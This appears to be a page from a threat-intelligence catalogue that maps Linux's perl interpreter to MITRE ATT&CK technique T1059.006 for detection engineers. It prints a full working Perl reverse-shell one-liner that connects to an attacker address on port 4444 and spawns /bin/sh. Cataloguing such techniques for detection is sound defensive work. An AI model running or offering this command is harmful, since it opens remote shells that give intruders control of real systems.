How many Living-off-the-Land Binaries abuse T1059.006?

LOLPulse tracks 1 verified living-off-the-land binaries across Windows, Linux, and macOS that adversaries can leverage to execute Technique T1059.006 (T1059.006).

How can detection engineers monitor for T1059.006?

Detection strategies involve correlating process command-line arguments, parent process lineage, and behavioral telemetry rules (KQL, Sigma, and Splunk) specifically authored for the binaries listed in this matrix.

T1059.006Tactic: ExecutionOfficial MITRE ATT&CK Page

T1059.006: Technique T1059.006

Adversaries may leverage living-off-the-land techniques (T1059.006) to achieve execution, evade defenses, or transfer tools.

Total Capable Binaries: 1

•

Windows: 0

•

Linux: 1

•

macOS: 0

Living-off-the-Land Matrix for T1059.006

Across 1 verified binaries

Linux1 payloads

perl

Perl is a general-purpose programming language widely installed on Linux servers. Attackers execute socket-creation one-liners to spawn interactive reverse shells directly in memory.

Sample Attack Vector:

perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Inspect perl & Telemetry

Curated & Verified by

Sharon Ben Moshe

Cybersecurity Researcher & Detection Engineer • Check Point

LinkedIn Profile Methodology & Papers